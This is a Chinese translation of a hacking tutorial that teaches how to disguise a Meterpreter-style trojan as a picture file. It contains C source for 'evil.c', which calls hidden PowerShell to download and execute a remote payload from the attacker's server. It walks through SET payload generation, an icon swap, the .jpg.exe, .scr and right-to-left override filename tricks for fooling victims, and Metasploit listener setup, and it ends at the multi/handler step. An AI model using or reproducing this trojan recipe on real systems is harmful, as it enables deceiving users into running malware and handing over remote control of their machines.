轉載自:http://bobao.360.cn/learning/detail/3256.html
前言
在這篇文章中,我將教大家如何將類似於 meterpreter 的后門腳本代碼插入到圖片中,利用圖片來對其進行偽裝。話不多說,下面我們來動手操作!
Step 1 創建 Payload
Part I: 創建 Powershell Payload
我將使用 Social Engineering Toolkit 來創建我們所需的 powershell payload 。使用如下命令,打開它:
1
|
setoolkit
|
接着我們依次輸入 1 選擇 "social engineering attacks",輸入 9 選擇 "powershell attack vectors",最后輸入 1 選擇 "powershell alphanumeric shellcode injector"。
這里會要求你提供 LHOST 本地 IP ,如果你不清楚本地 IP 是多少,可以使用 ifconfig 命令來查看:
這里我的無線網卡為 eth0 ,LHOST 為我高亮顯示的 10.0.0.13。
下面會詢問你用於本地偵聽的端口,這里我就使用 4444 端口作為本地偵聽端口。當然除了 4444 端口,你們還可以根據自己喜好來選擇任意端口!注意:不要與其他以使用端口沖突!
完成以上操作后,最后會詢問你是否開始偵聽,這里我們選擇 NO 稍后手動來開啟偵聽!這樣關於 SET 上操作就算結束了。
現在我們要做的是將生成的 payload 移動到 apache webserver 目錄下。操作命令如下:
1
|
mv /root/.set/reports/powershell/x86_powershell_injection.txt /var/www/html/payload.txt
|
提示:如果你用的仍是老版本的 kali 而不是 kali 2.0 你可以使用以下命令完成以上操作:
1
|
mv /root/.set/reports/powershell/x86_powershell_injection.txt /var/www/payload.txt
|
我們需要一張圖片用於向目標用戶展示,偽裝我們的 payload 使其成功被運行。這里我選擇使用以下圖片:
我將圖片保存成名為 screenshot.jpg 的文件,並將其存放在 apache webserver 目錄下。( kali 1 版本目錄位置為:/var/www kali 2.0 為: /var/www/html)在后面我們將會使用到它。
接着我們來啟動 apache 服務:
1
|
service apache2 start
|
Part II: 創建可執行文件
為了創建木馬病毒,這里我使用 notepad 和 MinGW's "gcc" 編譯器。病毒代碼如下:
1
2
3
4
5
6
|
#include<stdio.h>
main()
{
system("powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://10.0.0.13/screenshot.jpg', 'C:\\Users\\Public\\screenshot.jpg') & start C:\\Users\\Public\\screenshot.jpg & powershell.exe \"IEX ((new-object net.webclient).downloadstring('http://10.0.0.13/payload.txt'))\"");
return 0;
}
|
注意:將以上代碼的 "10.0.0.13" IP 修改成你的 LHOST 地址!
這段代碼將會從我的 apache 服務器上下載 screenshot.jpg 文件,並利用默認視圖工具打開它。因此在該病毒被第一次運行,並不會引起目標的過多懷疑!
將該病毒文件保存成 "evil.c" 的 C 語言文件,並使編譯器對其進行編譯。這里我使用我最愛的 GCC 來進行編譯:
1
|
gcc.exe D:\Hacking\evil.c -o D:\Hacking\evil.exe
|
這樣我們就得到了一個可執行文件,一切准備就緒下面讓我們來運行我們的惡意 payload !
Step 2 讓可執行文件看起來像張圖片
首先我們來對該可執行文件進行偽裝,使其看起來像張圖片。當前生成的默認 圖標如下:
顯而易見這樣很容易被人發現,下面讓我們來改變它。我需要將 screenshot.jpg 圖片轉換成 icon 圖標,這里我使用在線轉換工具來完成 :online converter。
接着,我將使用 Resource Hacker 這個小工具來將原本的默認圖標修改成我們生成的圖標。我們打開 Resource Hacker 依次打開 File --> Open:
然后選擇我們在 step 1 創建的可執行文件,點擊 Add Binary 或 Image Resource 按鈕來選擇添加我們的 .icon 文件。
最后點擊 Add Resource 和 Save 保存!
完成以上操作后,再讓我們回過頭來看看現在的圖標:
但是到此我們的工作還沒做完。
Step 3 對可執行文件重命名
Possibility I:典型的 ".jpg.exe"
默認 windows 隱藏文件的已知文件擴展名,我們需要將其勾選取消,讓它顯示:
我們將文件重命名為 "evil.jpg.exe" 如果目標用戶仍然保持以上的默認設置,他將看到如下形式命名的文件:
Possibility II:Screenshot.scr
在 Possibility I 的方法中我們難免會被發現,因為我們不能總依賴於目標用戶是否進行相關的設置。因此另外個方案就是改變文件的擴展名將 ".exe" 變成 ".scr"。如下:
不要擔 .scr 擴展名仍會像 .exe 文件一樣被執行,並不會對其原有功能產生任何破壞。唯一不同的是,這將使目標用戶誤認為它是一個快照截圖,從而達到欺騙目標的效果。
Possibility III:Unitrix
Unitrix 可以對文件名進行從右至左 (Right-to-Left) 的字符重寫 (RLO) ,讓受害者以為這不是一個可執行文件。例如:原本名為 "exe.jpg" 文件會被重寫為 "gpj.exe",這樣可以更好的達到欺騙受害目標的目的。下面我來做個示范:
首先我們在可執行文件上右擊鼠標,並選擇 'Rename' 重命名,選中 "geometric agpj.scr":
將光標移動至 gpj 前,右擊鼠標並懸停在 "Insert Unicode Control Character" 插入統一控制字符編碼,並選擇 字符重寫 (RLO) :
當我們成功執行以上操作后,我們將會看到圖片被重寫為了 "geometric arcs.jpg"。
注意:雖然通過這種技術方式,可以是我們的文件不具有可執行性文件的簽名,但是有時它仍會被殺毒軟件主動報告為惡意程序。原因在於它的文件名存在 字符重寫 (RLO) 。
Step 4 建立本地偵聽
最后我們需要做的是,建立一個本地偵聽程序,用來建立與受害目標的 meterpreter session 。使用以下命令啟動 metasploit framework :
1
|
msfconsole
|
首次加載我們接着輸入:
1
|
use multi/handler
|
本文由 安全客 翻譯,轉載請注明“轉自安全客”,並附上鏈接。
原文鏈接:http://null-byte.wonderhowto.com/how-to/hide-virus-inside-fake-picture-0168183/